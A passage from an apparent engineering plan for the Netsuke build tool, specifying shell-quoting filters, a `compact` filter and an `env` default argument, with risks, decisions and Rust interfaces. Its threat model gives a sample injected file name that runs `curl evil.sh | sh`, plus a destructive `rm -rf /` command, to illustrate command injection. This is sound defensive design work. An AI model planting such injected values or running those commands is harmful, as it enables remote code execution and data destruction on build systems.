isolation to minimize a counterexample. +- **R6 — Documentation gates.** `typos` enforces Oxford spelling over Markdown; + `mdtablefix` enforces canonical tables; `make fmt` reformats unrelated files + if they were already non-canonical. Severity: low. Likelihood: medium. + Mitigation: run `make fmt` then inspect `git diff --stat`; if files unrelated + to this change are reformatted, commit that reformatting separately and note + it in `Surprises & discoveries`. +- **R7 — Doc-comment coverage.** Every new function, public or private, needs a + `///` comment or `make doc-coverage` drops below 80%. Severity: low. + Likelihood: medium. Mitigation: write the doc comment with the function, not + afterwards. +- **R8 — Manifest-query surface drift. Realized, and one instance fixed.** + There is no parity test between `register_with_config` and + `register_manifest_query`. Severity: medium. Likelihood: medium — confirmed, + not merely estimated. Mitigation: EP-M2 and EP-M4 each add an explicit + manifest-query test for the helper they introduce, and EP-M1 adds one proving + the disabled `env` stub still reports "disabled", not an argument-count + error, when called with `default=`. The likelihood was upgraded from an + estimate to a fact when the `is ` file tests were found to be + registered on the build surface and absent from the query surface, so + `'x' is file` failed as "unknown test" — and the case asserting otherwise + passed anyway. Stubs for the seven file tests are now registered from the + parent's own `FILE_TESTS` list, which removes this instance and makes the + next one impossible to add silently; the residual risk is any *future* helper + registered on one surface only, which a stub list cannot cover. + +- **R9 — Collision with in-flight budget work. Resolved as a convergence.** + The remote branch + `issue-651-add-resource-budgets-to-manifest-template-evaluation` restructured + the exact files this plan edits: `src/manifest/mod.rs`, + `src/manifest/query.rs`, `src/manifest/render.rs`; it split + `src/manifest/expand.rs` into a directory module and added + `src/manifest/registration.rs` with the same four members this plan extracts. + **That branch has now landed on `origin/main` at commit `0ba6672f`, together + with the environment-policy and resource-ceiling work (ADR-026).** + `src/manifest/registration.rs` exists and already carries exactly the planned + member set — `RESERVED_VAR_NAMES`, `localize_recipe_error`, + `register_manifest_vars`, `manifest_structure_error` — so the extraction step + is a no-op and the plan's choice of module name and member set was correct. + What remains is to move the `env` and `glob` registrations from + `src/manifest/mod.rs` into that module. Severity: low (was medium). + Likelihood: certain (was high). Mitigation: EP-M1 now *extends* the existing + module rather than creating it. A second consequence is recorded in + `Surprises & discoveries`: the landed branch supplies the manifest-load seam + (`ManifestLoadInputs`, `ManifestEnvironment`, `EnvAccessPolicy`) that EP-M4 + must thread the resolved shell through, rather than a parallel one. + `shell_join` and `compact` are unbounded by design here; the landed budget + ceilings (`evaluation_fuel`, `rendered_value_bytes`, `foreach_cardinality`) + now bound a pathological `shell_join` in general terms, but no per-filter + length ceiling is added by this plan. +- **R10 — `env(default=)` converts a loud failure into a silent one.** Today a + missing variable fails the build immediately; afterwards a manifest can + silently take a default, so a continuous-integration job whose `RUSTFLAGS` + export stops propagating builds the wrong artefact instead of failing fast. + Severity: medium. Likelihood: medium. Mitigation: emit + `tracing::debug!(fallback_used = true, ...)` on the substitution path, naming + neither variable nor value, matching the existing failure-path logging and + the redaction rule at `src/manifest/env_reader.rs:121-127`. Roadmap 3.14.11 + sets the precedent that a manifest-time decision changing build behaviour + belongs in verbose diagnostics. Document in the user guide that `default=''` + trades fail-fast for tolerance, and that a value which must be present should + omit `default`. +- **R11 — Dialect and interpreter mismatch corrupts silently.** If the filters' + dialect can differ from the interpreter that runs the recipe, the failure is + silent rather than loud. Concretely: PowerShell quoting doubles an embedded + single quote, so `a'b` becomes `'a''b'`; fed to a POSIX-family shell that is + two adjacent single-quoted strings concatenated, evaluating to `ab`. It is + syntactically valid, so `shlex::split` accepts it and the IR guard has + nothing to object to. `netsuke build` succeeds and the artefact is wrong. + Severity: high. Likelihood: medium if the milestones are separable. + Mitigation: constraint 10, discharged by fusing the filter registration and + the runner plumbing into one milestone so no shipped commit can contain the + divergence. OBL-COMPOSITION exercises the composed path per interpreter. +- **R12 — `is_valid_command_for_shell` does not guard PowerShell.** + `src/ir/cmd_interpolate/mod.rs:226-231` returns `true` unconditionally for + `RecipeShell::PowerShell`, so there is no structural validation of a + PowerShell recipe at all. This plan does not introduce the gap but routes new + traffic through it. Severity: medium. Likelihood: low. Mitigation: + OBL-COMPOSITION asserts the PowerShell path end to end rather than relying on + a guard that is not there. Closing the guard itself is out of scope; record + it as a follow-up roadmap candidate in `Outcomes & retrospective`. + +## Decision log + +- **Decision D1**: Ship the helper as `shell_quote`, not `shell_escape`, and + rewrite every `shell_escape` reference in `docs/netsuke-design.md` §4.5, + `docs/users-guide.md:489-491`, `docs/netsuke-design.md:687-688`, and + `docs/netsuke-design.md:3876-3877` to name `shell_quote`. Rationale: + `RFC-0006-13.3` states that roadmap 3.14.8 "owns the shell-quoting capability + and ships first" and that the RFC "contributes the canonical name + `shell_quote` and the `dialect` argument; the roadmap task should adopt them + so the two do not diverge". `RM-6.8.3` repeats this. Shipping `shell_escape` + now would put a known-superseded name on the public template surface and + force a breaking rename later. `RM-3.14.8` explicitly permits "implement **or + remove**" the `shell_escape` name; this removes it by superseding it. + Date/Author: 2026-09-08, planning session, confirmed by the requester. +- **Decision D2 (proposed deviation from `RFC-0006-8.9`)**: `shell_quote` and + `shell_join` accept `dialect='sh'` **and** `dialect='powershell'`, and + default to the dialect implied by the active `RecipeShell` rather than always + to `sh`. Rationale: `RFC-0006-8.9` says "`dialect` currently accepts only + `sh`, matching the single `shell-quote` feature Netsuke enables." That + premise is false in the code as it stands. `UG-WIN` and + `src/recipe_shell.rs:18-27` establish that the default Windows recipe + interpreter is Windows PowerShell, and + `src/ir/cmd_interpolate/mod.rs:137-150` already implements a second, + non-`shell-quote` dialect for exactly that case. Shipping an `sh`-only filter + would emit POSIX quoting into a PowerShell recipe, which is a silent + injection-safety defect in the very helper whose stated purpose (`DD-4.5`) is + to be "a non-negotiable security feature to prevent command injection + vulnerabilities". Affected identifiers: `RFC-0006-8.9`, `RFC-0006-13.3`, + `RM-6.8.3`, `DD-4.5`. Impacts: `docs/rfcs/0006-…md` §8.9 must be amended to + record the two-dialect set and the host-default rule; `RM-6.8.3` is reduced + to a no-op. Options considered: (a) two dialects with a host default — + chosen; (b) `sh` only, raising a template error on a PowerShell host — + rejected because it makes the filter unusable in default Windows manifests; + (c) `sh` only with no platform awareness — rejected as silently unsafe. + Approving authority: the requester, who selected option (a) and D1 explicitly + before this plan was written. Date/Author: 2026-09-08, planning session. +- **Decision D3**: `dialect='bash'` is **not** accepted. `RecipeShell::Bash` + maps to the `sh` dialect, because `shell_quote`'s `Sh` output is documented + as "a lowest common denominator for Bash, Z Shell, and `/bin/sh`-like + shells". Rationale: the `shell-quote` crate's `Bash` type emits a *different*, + `$'...'`-style encoding that Netsuke does not compile in (`Cargo.toml:137` + enables only `sh`). Accepting the name now would lock in a meaning that a + future `bash` dialect would have to break. Date/Author: 2026-09-08, planning + session. +- **Decision D4 (revised; the original premise was false)**: `default` and + `dialect` are read as `Kwargs::get::>` and type-checked + explicitly. The first draft used `Kwargs::get::>` believing it + raises a type error for a non-string. It does not. Verified against + `minijinja 2.24.0`, it silently stringifies every value kind: `default=1` + yields `"1"`, `default=true` yields the Python-shaped `"True"`, and + `default=['a','b']` yields the JSON fragment `["a", "b"]` — straight into a + shell recipe. That is exactly the coercion + `docs/rfcs/0006-ansible-inspired-template-standard-library.md:325` §6.6 + forbids: "A helper that expects a string rejects numbers and booleans rather + than stringifying them." The read is therefore: + + ```rust + let fallback = match kwargs.get::>("default")? { + None => None, + Some(value) => Some( + value + .as_str() + .ok_or_else(|| default_not_string_error(value.kind()))? + .to_owned(), + ), + }; + ``` + + The original draft of this decision carried a third arm, + `Some(value) if value.is_undefined() => return Err(undefined_default_error())`. + That arm is **unreachable**, and was removed during EP-M1. + `impl ArgType for Option` maps absent, `none`, *and* undefined alike onto + `Ok(None)` (`minijinja-2.24.0/src/value/argtypes.rs:530-544`), so by the time + the match runs, an undefined `default` is indistinguishable from an omitted + one. The distinction is harmless — all three mean "no fallback" — but the + two-arm form is what ships. + + `default=none` remains equivalent to omitting `default`, because `env`'s + fallback is an absence substitution rather than a value slot; that is the one + place RFC 0006's null rule is deliberately not followed, and the user guide + says so. A defined non-string value is an error. This costs one message key + the first draft claimed to save. Buying a silent-coercion defect for + thirty-five lines of translation was a bad trade. Date/Author: 2026-09-09, + revised after contract review; the undefined arm removed 2026-09-19 during + EP-M1. +- **Decision D5**: `compact` drops `none`, undefined, and the empty string, and + keeps `0`, `false`, `[]`, and `{}`. Rationale: `DD-4.5` says exactly "removes + empty strings and null values while preserving order". Dropping + falsy-but-present values would silently discard a meaningful `0` from a flag + list. Date/Author: 2026-09-08, planning session. +- **Decision D6 (rationale corrected)**: `shell_quote` and `shell_join` are + registered on the manifest-query surface as *working* helpers, not disabled + stubs. Rationale: they are pure **with respect to the supplied dialect**. The + first draft claimed they "read no environment state", which is false: with + `dialect` omitted they resolve through `RecipeShell::host_default()`, itself + `cfg!(windows)` (`src/recipe_shell.rs:18-27`), and after EP-M4 from + `NETSUKE_WINDOWS_SHELL`. So `{{ 'a b' | shell_quote }}` on the query surface + discloses the host OS family. That is an accepted residual — the family is + already inferable from the binary and from `netsuke --version` — but + non-disclosure is the one property `register_manifest_query` exists to + guarantee, so its rationale must be accurate rather than convenient. Given an + explicit `dialect`, the filters read nothing at all. `compact` is + unconditionally pure and lands automatically, because + `collections::register_filters` is already called by both surfaces + (`src/stdlib/register.rs:156-164` and `:169`). Date/Author: 2026-09-09, + corrected after structural review. +- **Decision D7**: `ortho_config` is not used. See "Applicability of + `ortho_config`" above. Date/Author: 2026-09-08, planning session. + +- **Decision D8**: `compact` and `shell_join` reject by `ValueKind`, not by + `Value::try_iter()`. Rationale: the first draft claimed non-sequence input + "errors through `values.try_iter()?`, exactly as `uniq` does". That is false. + `minijinja-2.24.0/src/value/mod.rs::try_iter` accepts `None` and `Undefined` + (yielding an empty iterator), any string (yielding its *characters*), and any + object (a map yields its *keys*); only numbers and booleans are rejected. So + `{{ 'abc' | shell_join }}` would quote three separate characters into a + command line, and `{{ my_map | compact }}` would silently return the map's + keys. Both helpers therefore accept only `ValueKind::Seq` and + `ValueKind::Iterable`; every other kind, `Map`, `String`, `None`, and + `Undefined` included, raises an error naming the received kind. `uniq` and + `flatten` share the latent wart; fixing them is out of scope, but it is not a + licence to add two more, one of which builds shell text. Date/Author: + 2026-09-09, after contract review. +- **Decision D9**: every new diagnostic carries a machine-readable code in its + Fluent text: `[netsuke::jinja::shell::args]` for a wrong call, and + `[netsuke::jinja::shell::unquotable]` for a value a recipe cannot carry. + Rationale: `locales/en-GB/messages.ftl:342-346` already carries + `[netsuke::jinja::which::args]` inside the message, and `locales/fr` keeps it + verbatim while translating the prose. It is the crate's only locale-stable + handle for a template diagnostic, and `tests/features/stdlib.feature:104-106` + proves the suite switches locale. The first draft's behavioural scenarios + asserted on untranslated English (`"line feed"`), which would fail in + thirty-two of the thirty-five catalogues. The split matters: `::args` means + the template is wrong, and `::unquotable` means the template is right but its + data cannot be carried — different fixes, often by different people. Do + **not** copy `with_not_found_code` (`src/stdlib/which/mod.rs:235-237`), which + prefixes the code in Rust *and* in the Fluent text; the snapshot at + `tests/snapshots/which_diagnostic_snapshot_tests__which_not_found.snap:5` + shows it emitted twice. The code lives in the message text only. Date/Author: + 2026-09-09, after contract review. +- **Decision D10**: `dialect='sh'` names an *encoding*, not a shell. Its output + is fixed and will not change when further dialects are added. The dialect + selected when `dialect` is *omitted* is a host- and configuration-dependent + default that MAY change between Netsuke releases — in particular + `RecipeShell::Bash` maps to `sh` today (D3) and would map to a future `bash` + dialect. A manifest whose generated text must be byte-stable across releases + and hosts must pin `dialect=` explicitly. Rationale: this is the one axis of + the template surface with no versioning story, and it is invisible: no + manifest edit, no version bump, different `build.ninja`. Naming it is cheaper + than discovering it. Date/Author: 2026-09-09, after contract review. +- **Decision D11 (alternative considered and not adopted)**: ship + `shell_quote`/`shell_join` with **no** `dialect` argument, always following + the active recipe shell. Rationale for considering it: every comparable tool — + `shlex.quote`, `shlex.join`, Just's `quote()`, bazel-skylib's `shell.quote`, + Nix's `escapeShellArg`, Ansible's `quote` — ships a one-argument function + with no dialect selector. Dropping it would remove four of the six message + keys (roughly 140 catalogue lines), remove `ShellDialect::parse`, remove + OBL-DIALECT-TOTAL, and remove the name collision with ADR-019's shell + registry, which accepts `bash` where D3 rejects it. It would also make RFC + 0006's wider dialect set *easier* to add later, since an optional keyword on + a zero-argument filter is purely additive. Rationale for not adopting it: the + requester chose the two-dialect surface explicitly, and `RFC-0006-8.9` plus + `RM-6.8.3` both specify the `dialect` argument by name. Dropping it would be + a second deviation on top of D2. The plan instead adopts the safety half of + the argument: the documented example and every snapshot pin `dialect` + explicitly (R4), D10 records that the omitted-dialect default is unstable, + and EP-M4 closes the mismatch that made the argument dangerous. Reopening + condition: if the requester prefers the smaller surface at approval time, + EP-M3 and EP-M4 shrink by roughly forty per cent and R1 drops from high to + low likelihood. This decision is cheap to reverse before EP-M4 and expensive + afterwards, because the template surface becomes documented and executed at + EP-M5. Date/Author: 2026-09-09, after alternatives review. +- **Decision D12**: `shell_quote` and `shell_join` are *safe primitives*, not + enforced controls, and the plan says so rather than repeating `DD-4.5`'s + "non-negotiable security feature" unqualified. See "Threat model" below. + Date/Author: 2026-09-09, after contract review. + +## Threat model + +`DD-4.5` calls the quoting filter "a non-negotiable security feature to prevent +command injection vulnerabilities". That phrase needs qualifying before it is +repeated, because a security property requires an attacker and no document in +this repository names one. + +**The attacker is not the manifest author.** +`docs/stdlib-yaml-and-jinja-guide.md:89,319,383` is unambiguous that +host-observing helpers belong only in trusted manifests. An author who wants +arbitrary execution writes `command: rm -rf /`. `shell_quote` defends against +nothing there. + +**The attacker is whoever controls a value a trusted manifest reads and +interpolates.** Netsuke gives a manifest at least seven such channels, every +one of them lower-trust than the manifest itself: + +| Channel | Who controls the value | +| ------------------------------------- | ------------------------------------------------------ | +| `env('X')` | whoever sets CI job variables or the developer's shell | +| `glob('src/*.c')` | anyone who can add a file to the checkout | +| `contents(...)`, `size`, `linecount` | whoever wrote the file | +| `fetch(url)` | the remote server, or anyone who can poison it | +| `value \| shell(cmd)`, `\| grep(...)` | whatever the subprocess prints | +| `which('tool')` | whoever can plant a `PATH` entry | + +The realistic attack: a contributor opens a pull request adding a file named +`x; curl evil.sh | sh; #.c`; the manifest does +`command: cc {{ glob('src/*.c') | join(' ') }}`; continuous integration builds +the pull request. Interpolated *paths* are already covered — `quote_path` quotes +`{{ ins }}` and `{{ outs }}`. `shell_quote` extends that guarantee to the +other six channels, which today have nothing. + +**What this plan delivers, honestly.** + +- For `dialect='sh'`, a sound encoder, with unusually good evidence: + OBL-SH-ROUNDTRIP runs a real `/bin/sh` and has a stated negative control, and + the encoding composes correctly with ADR-014's `$`-doubling at the Ninja + writer boundary. +- For `dialect='powershell'` on a non-Windows host, one class weaker: the + guarantee rests on a handwritten inverse model until the Windows job runs. + ADR-041 must say so in those words. +- **It is opt-in and silent when omitted.** Nothing detects + `command: cc {{ glob(...) | join(' ') }}` and warns. A control that works + only when the author remembers it is a primitive, not a control. +- **It does not cover the command or option position.** + `{{ tool | shell_quote }} {{ user_flags }}` is still injectable through + `user_flags`. The guide must not let an author believe that quoting one + substitution makes a recipe safe. + +The claim to write in ADR-041 and in "Validation and acceptance", replacing any +unqualified repetition of `DD-4.5`: + +> `shell_quote` and `shell_join` are safe primitives, not enforced controls. +> They give a manifest author a sound way to interpolate a value into a shell +> recipe as exactly one inert word. The threat they address is a trusted +> manifest interpolating an attacker-influenced value. The manifest itself +> remains trusted input; nothing here defends against a hostile `Netsukefile`. +> The soundness of the encoder is non-negotiable; its application is the +> author's responsibility. A lint that flags an unquoted interpolation of a +> host-observing helper's result into a recipe is deliberately out of scope and +> should be raised as a separate roadmap item. + +## Interfaces and dependencies + +Be prescriptive. At the end of this work the following must exist. + +### `src/shell_word.rs` (new leaf) + +The encoder does **not** go into `src/recipe_shell.rs`. That module's own doc +comment calls it "intentionally below both IR lowering and Ninja rendering" and +"data-only": it is the shared vocabulary type three layers agree on, and giving +it a `shell_quote` dependency would change its character. Instead add a leaf +that both `src/ir/` and `src/stdlib/` may depend on, and leave `recipe_shell` +pure: + +```rust +//! Encode one string as a single shell word for a named dialect. + +/// The shell dialect a word is encoded for. +#[derive(Clone, Copy, Debug, Eq, PartialEq)] +pub(crate) enum ShellDialect { + /// POSIX `sh` word quoting, also correct for Bash and Z Shell. + Sh, + /// Windows PowerShell single-quoted string quoting. + PowerShell, +} + +impl ShellDialect { + /// Every dialect, in the order errors enumerate them. + pub(crate) const ALL: &'static [Self] = &[Self::Sh, Self::PowerShell]; + + /// Return the `dialect` keyword-argument spelling of this dialect. + pub(crate) const fn as_str(self) -> &'static str; + + /// Parse one `dialect` keyword argument, case-insensitively. + /// + /// Deliberately rejects `bash`. See decision D3: `RecipeShell::Bash` maps + /// to `Sh` because `Sh` output is valid Bash, but the `shell-quote` crate's + /// `Bash` encoder emits a different `$'...'` form that Netsuke does not + /// compile in. Accepting the name now would lock in a meaning a real + /// `bash` dialect would have to break. + pub(crate) fn parse(raw: &str) -> Option; +} + +/// Encode `value` as one shell word for `dialect`, without validating it. +/// +/// This function is total: the caller owns the question of which inputs a +/// recipe may carry. `quote_path` depends on that split to keep its existing +/// total behaviour. +pub(crate) fn quote_word(dialect: ShellDialect, value: &str) -> String; +``` + +`ALL`, `as_str`, and `parse` derive from one another, so adding a third dialect +is a one-line enum change rather than an edit at every use site. + +`quote_word`'s body is moved verbatim from +`src/ir/cmd_interpolate/mod.rs::quote_path`, generalized from `&Utf8PathBuf` to +`&str`. + +### `src/recipe_shell.rs` + +Stays a single file and stays data-only. It gains exactly one method, so that +the mapping lives with the type that knows about all three interpreters: + +```rust +/// Return the dialect whose quoting rules this interpreter follows. +/// +/// `Posix` and `Bash` share `Sh`: they differ in transport, not in lexis. +pub(crate) const fn dialect(self) -> ShellDialect; +``` + +There is deliberately **no** inverse. `RecipeShell -> ShellDialect` is a +three-to-two surjection, so a `ShellDialect::recipe_shell` would have to pick +one of `Posix`/`Bash` arbitrarily and its doc comment could not be truthful. +`src/stdlib/` never names `RecipeShell`; every edge points downward into +`shell_word`. + +### `src/stdlib/recipe_text/` (new) + +Not `src/shell_word.rs` and `src/stdlib/recipe_text/`. `src/stdlib/command/` +already registers a template filter literally named `shell` +(`src/stdlib/command/mod.rs:81-111`) and already contains a `quote.rs`. A +sibling `shell/` module holding `shell_quote` would invert the naming at both +ends: a contributor grepping `stdlib/shell` for the `shell` filter would find +text quoting, and grepping `stdlib/command` for `shell_quote` would find +`cmd.exe` quoting. Name the module for what it produces. + +In the same milestone, rename `src/stdlib/command/quote.rs` to +`child_argument.rs` and its `quote` function to `quote_child_argument`. Both are +`pub(super)` with a single consumer (`format_command` in +`src/stdlib/command/filters.rs:126-149`), so the rename is free and it removes +the last bare `quote` in the subtree. + +`src/stdlib/recipe_text/mod.rs`: + +```rust +/// Register the pure recipe-text filters on an environment. +pub(crate) fn register_filters(env: &mut Environment<'_>, default: ShellDialect); +``` + +It registers exactly two filters: + +- `value | shell_quote(dialect=)` +- `values | shell_join(dialect=)` + +Both read `dialect` with `kwargs.get::>("dialect")?` and +type-check it as a string, per D4 — the `Option` read would stringify a +non-string rather than raise. They then fall back to `default`, and finish with +`kwargs.assert_all_used()?`, matching the ordering in +`src/stdlib/which/mod.rs:82-92`. + +Both call the shared admissibility predicate before encoding — see the next +subsection — and then `shell_word::quote_word`. `shell_join` joins the encoded +words with one space. + +### Control characters: reuse, do not reimplement + +The first draft of this plan proposed a `policy.rs` owning a "rejects `\0`, +`\r`, `\n`" rule. That rule already exists: `src/ninja_gen_escape.rs:43-48`: + +```rust +/// Reject text that cannot remain within one Ninja binding. +pub(super) fn validate_ninja_value(text: &str) -> Result<(), NinjaGenError> { + if text.contains(['\n', '\r', '\0']) { + return Err(NinjaGenError::UnsafeNinjaValue); + } + Ok(()) +} +``` + +`docs/adr-014-backend-text-escaping-seam.md` records it as the Ninja writer's +own admissibility rule. Reimplementing it inside a template filter would put +one predicate at three enforcement points, and they have **already** drifted: +`src/stdlib/command/quote.rs:43` rejects `\n` and `\r` but not `\0`. + +Instead, promote the predicate to a shared leaf and call it from both places. +Add to `src/shell_word.rs`: + +```rust +/// Report whether `value` can survive as part of a single-line recipe. +/// +/// Newline, carriage return, and NUL cannot: a Ninja binding is single-line by +/// construction. This is the same rule the Ninja writer enforces at its own +/// boundary; see ADR-014. +pub(crate) fn is_recipe_admissible(value: &str) -> bool { !value.contains(['\n', '\r', '\0']) } +``` + +`validate_ninja_value` becomes a caller of it. The template filters call it and +raise the localized `stdlib.shell.quote.control_character` diagnostic, so an +author gets an error naming their expression rather than a backend-attributed +one. `src/stdlib/command/quote.rs`'s narrower rule is left alone and its +divergence documented, because a `cmd.exe` argument is not recipe text. + +This removes the `QuotePolicyError` type and one of the five message keys was +already going to be needed for it, so the key count is unchanged. + +### Enforcing "exactly one implementation" + +Constraint 4 is currently prose. Make it a gate. `shell_quote::QuoteRefExt` is +imported at exactly two sites today (`src/ir/cmd_interpolate/mod.rs:12` and +`src/stdlib/command/quote.rs:6`), and `clippy.toml:15-24` already uses +`disallowed-methods` with reason strings to enforce the ADR-008 environment +mandate, with sanctioned sites carrying +`#[expect(clippy::disallowed_methods, reason = "...")]` so the exemption warns +once it becomes obsolete. Add one entry: + +```toml +{ path = "shell_quote::QuoteRefExt::quoted", reason = "recipe-shell word quoting lives in shell_word::quote_word" }, +``` + +with one `#[expect(...)]` in `src/shell_word.rs` and one in +`src/stdlib/command/child_argument.rs`, whose divergence is deliberate. One +line of configuration turns an aspiration into a check, using machinery the +repository already trusts. + +### `src/stdlib/collections.rs` + +`register_filters` gains one line, and the file gains two functions: + +```rust +env.add_filter("compact", |values: Value| compact_filter(&values)); + +/// Report whether a member is dropped by `compact`. +/// +/// Only `none`, undefined, and the empty string are blank. `0`, `false`, `[]`, +/// `{}`, and a whitespace-only string are values and are retained; naming the +/// predicate keeps that asymmetry visible to the next reader. +fn is_blank(value: &Value) -> bool; + +/// Drop blank members from a sequence, preserving order. +/// +/// # Errors +/// +/// Returns an error naming the received kind when the subject is not a +/// sequence. See decision D8: `Value::try_iter()` is not a sequence check. +fn compact_filter(values: &Value) -> Result; +``` + +`src/stdlib/collections.rs` is 314 lines today, so `compact` fits. If it would +exceed 400, convert it to a directory module with +`src/stdlib/collections/compact.rs`. + +### `src/stdlib/config/` + +The configuration stores the **dialect**, not the interpreter. `StdlibConfig` +does not care which interpreter runs the recipe; it cares which quoting rule to +apply, and `RecipeShell` is a three-variant type that would be collapsed to two +immediately. Storing the wider type would leave a `recipe_shell()` accessor +inviting a question the configuration can no longer answer honestly, because +`Posix` and `Bash` are indistinguishable downstream. + +The field is declared on `StdlibConfig` in `config/mod.rs`, but the builder and +accessor live in a sibling `config/recipe_shell.rs`, following the clustering +`config/which.rs` and `config/ambient.rs` already use. This is a deviation from +the original text, which placed them in `config/mod.rs`: that file was at 383 +lines against AGENTS.md's 400-line cap, and the addition pushed it to 405. As +delivered, `config/mod.rs` returns to 393 and the sibling holds the rest. + +```rust +/// Shell dialect the recipe-text filters quote for. +dialect: ShellDialect, + +/// Select the recipe interpreter whose quoting rules the filters follow. +/// +/// The interpreter is collapsed to its dialect on the way in: `Posix` and +/// `Bash` both quote as `sh`. Only the dialect is stored, because nothing +/// downstream can distinguish the two. +#[must_use] +pub fn with_recipe_shell(mut self, shell: RecipeShell) -> Self { + self.dialect = shell.dialect(); + self +} + +/// Return the dialect the recipe-text filters quote for. +/// +/// Compiled in test builds only until EP-M4 supplies the caller. +#[cfg(test)] +pub(crate) const fn dialect(&self) -> ShellDialect; +``` + +The `#[cfg(test)]` on the accessor is deliberate and temporary. EP-M3's Green +step requires the field and the builder, and its tests read the field back +through the accessor; but a `pub(crate)` item with no production reader is dead +code, and no attribute marks it dormant truthfully — the tests would make a +`dead_code` *expectation* unfulfilled in the `--all-targets` profile the gates +run, while the same expectation in the lib-only profile is fulfilled. The `pub` +builder has no such problem, because `pub` items are never dead. EP-M4 removes +the gate in the commit that registers the filters. + +`StdlibConfig::new` initializes it to `RecipeShell::host_default().dialect()`. + +`RecipeShell` is already publicly nameable — `src/lib.rs:27` declares +`pub mod recipe_shell;` and the enum is `pub` — so `with_recipe_shell` needs no +visibility widening, and `ShellDialect` stays `pub(crate)`. Taking +`RecipeShell` as the *parameter* also keeps the interpreter-to-dialect mapping +in one place rather than pushing it out to every caller. + +### `src/stdlib/register.rs` + +- `register_read_only_helpers` calls + `recipe_text::register_filters(env, config.dialect())`. +- `register_query_helpers` calls + `recipe_text::register_filters(env, RecipeShell::host_default().dialect())`. + + **Known divergence, deliberately accepted.** On a Windows host with + `NETSUKE_WINDOWS_SHELL=bash`, the build surface receives the resolved dialect + while the query surface receives the host default, so `netsuke help targets` + renders different quoting from the build for the same expression. Query + rendering is discovery metadata and is never executed, so the divergence is + harmless — but it must be pinned by an assertion in + `tests/stdlib_manifest_query_tests.rs` and recorded in + `docs/developers-guide.md`, not discovered later. The alternative — hoisting + `resolve_recipe_shell()` above the early return at + `src/runner/mod.rs:130-160` — would make `netsuke help targets` fail on a + Windows host with a malformed `NETSUKE_WINDOWS_SHELL`, which is a worse trade. + +- The disabled `env` stub changes to: + + ```rust + env.add_function( + "env", + |_variable: String, _kwargs: Kwargs| -> Result { + Err(manifest_query_operation_error("env")) + }, + ); + ``` + +### `src/manifest/mod.rs` — the extraction has already landed + +**The extraction this plan's first draft scheduled as a prerequisite has +already happened on `origin/main`.** `src/manifest/registration.rs` exists at +`0ba6672f` with exactly the four planned members (`RESERVED_VAR_NAMES`, +`localize_recipe_error`, `register_manifest_vars`, `manifest_structure_error`), +and `src/manifest/mod.rs` has fallen from exactly 400 lines — the constraint-8 +cap, with zero headroom — to 259. The plan's choice of module name and member +set was correct, and R9's collision became a convergence. EP-M1 step 1 is +therefore deleted: there is nothing to extract, only a module to extend. + +Constraint 8 is still live, so the headroom matters. Test it before editing +rather than trusting this paragraph: +`wc -l src/manifest/mod.rs src/manifest/registration.rs` and +`wc -l src/manifest/render.rs` — the last is now **exactly 400**, so it has no +headroom at all and EP-M4 must not add a line to it. + +Move the `env` and `glob` registrations out of `src/manifest/mod.rs` and into +`src/manifest/registration.rs` as part of EP-M1. The registration itself, in +`src/manifest/registration.rs`: + +```rust +let reader = Arc::clone(env_reader); +let policy_for_env_lookup = env_access_policy.clone(); +jinja.add_function("env", move |var_name: String, kwargs: Kwargs| { + let fallback = env_default_from_kwargs(&kwargs)?; + kwargs.assert_all_used()?; + env_var_with_default(&var_name, &policy_for_env_lookup, fallback, |key| { + reader(key) + }) +}); +``` + +```rust +/// Read the optional `default` keyword argument as a string. +/// +/// Reads `Option` rather than `Option` because `MiniJinja`'s +/// `Option` conversion silently stringifies numbers, booleans, +/// sequences, and mappings. See decision D4. +/// +/// # Errors +/// +/// Returns an error for a defined, non-string `default`. An explicit `none` +/// is equivalent to omitting the argument, as is an undefined value: the +/// `Option` read maps absent, `none`, and undefined alike onto `None`, +/// so no branch can distinguish them. See D4's EP-M1 note. +fn env_default_from_kwargs(kwargs: &Kwargs) -> Result, Error>; +``` + +### `src/manifest/env_reader.rs` + +The landed signature at `0ba6672f` is +`env_var_with(name: &str, policy: &EnvAccessPolicy, read_env)`, which evaluates +the ADR-026 access policy *before* reading. EP-M1 adds the `fallback` parameter +and must keep the policy evaluation first: a blocked name must not reach the +reader even when a `default` is supplied, or `default=` becomes a policy +bypass. Preserve the policy argument's position and the existing +`ManifestEnvironment` bundle; see R9. + +```rust +/// Read one environment variable, substituting `fallback` only for absence. +/// +/// # Errors +/// +/// Returns an `UndefinedError` when the variable is absent and `fallback` is +/// `None`, and an `InvalidOperation` error when the value is not valid UTF-8 — +/// the latter regardless of `fallback`, because a present-but-undecodable value +/// is a configuration fault, not an absence. A name the access policy blocks +/// fails before the reader is called, with or without a `fallback`. +pub(super) fn env_var_with_default( + name: &str, + policy: &EnvAccessPolicy, + fallback: Option, + read_env: impl FnOnce(&str) -> Result, +) -> Result; +``` + +On the substitution path it emits, mirroring the existing failure-path logging +at `src/manifest/env_reader.rs:139,152,162` and naming neither the variable nor +the value: + +```rust +tracing::debug!(fallback_used = true, "manifest env lookup substituted default"); +``` + +Without it, a continuous-integration job whose `RUSTFLAGS` export silently +stops propagating goes from failing fast to building the wrong artefact with no +record anywhere that a default was taken. See R10. + +`env_var_with` is **renamed**, not kept as an alias (constraint 7). Note the +change from the plan's original wording: the landed function already takes the +policy, so this is a three-argument-to-four-argument edit in place, and the +argument count crosses `clippy.toml`'s `too-many-arguments-threshold = 4` only +if a fifth is added. Prefer threading a small struct over adding a fifth +argument. + +### `src/manifest/env_telemetry.rs` + +New on `origin/main` and relevant to EP-M1. It owns the single telemetry point +for every `env()` lookup, `record_env_lookup(outcome, result)`, with the closed +outcome vocabulary `success`/`blocked`/`not_present`/`not_unicode` exported as +`ENV_LOOKUP_OUTCOME_VALUES` for the application recorder's admission check. + +A substituted default is **not** a fifth outcome and must not become one: the +lookup genuinely succeeded, and `success` is what an operator counting +substitutions wants to *add to*, not replace. Whether EP-M5's +`netsuke_manifest_env_default_substituted_total` counter is worth its keep is a +question for EP-M1 to answer with evidence, since the `tracing::debug!` above +already records the event. If it ships, it is admitted through +`src/observability_recorder.rs`'s `accepts_name` and +`accepts_counter_registration` (see the counters section under EP-M5). + +### New localization keys + +Every diagnostic carries its machine-readable code in the Fluent text, per D9 +and matching `locales/en-GB/messages.ftl:342-346`. Added to +`src/localization/keys.rs` in the `STDLIB_*` group, after the `COMMAND_*` block: + +```rust +STDLIB_SHELL_ARGS_ERROR => "stdlib.shell.args_error", +STDLIB_SHELL_UNQUOTABLE => "stdlib.shell.unquotable", +STDLIB_SHELL_QUOTE_NOT_STRING => "stdlib.shell.quote.not_string", 